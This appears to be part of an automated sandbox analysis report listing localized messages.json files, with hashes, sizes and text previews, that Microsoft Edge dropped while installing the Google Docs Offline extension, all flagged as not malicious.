Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
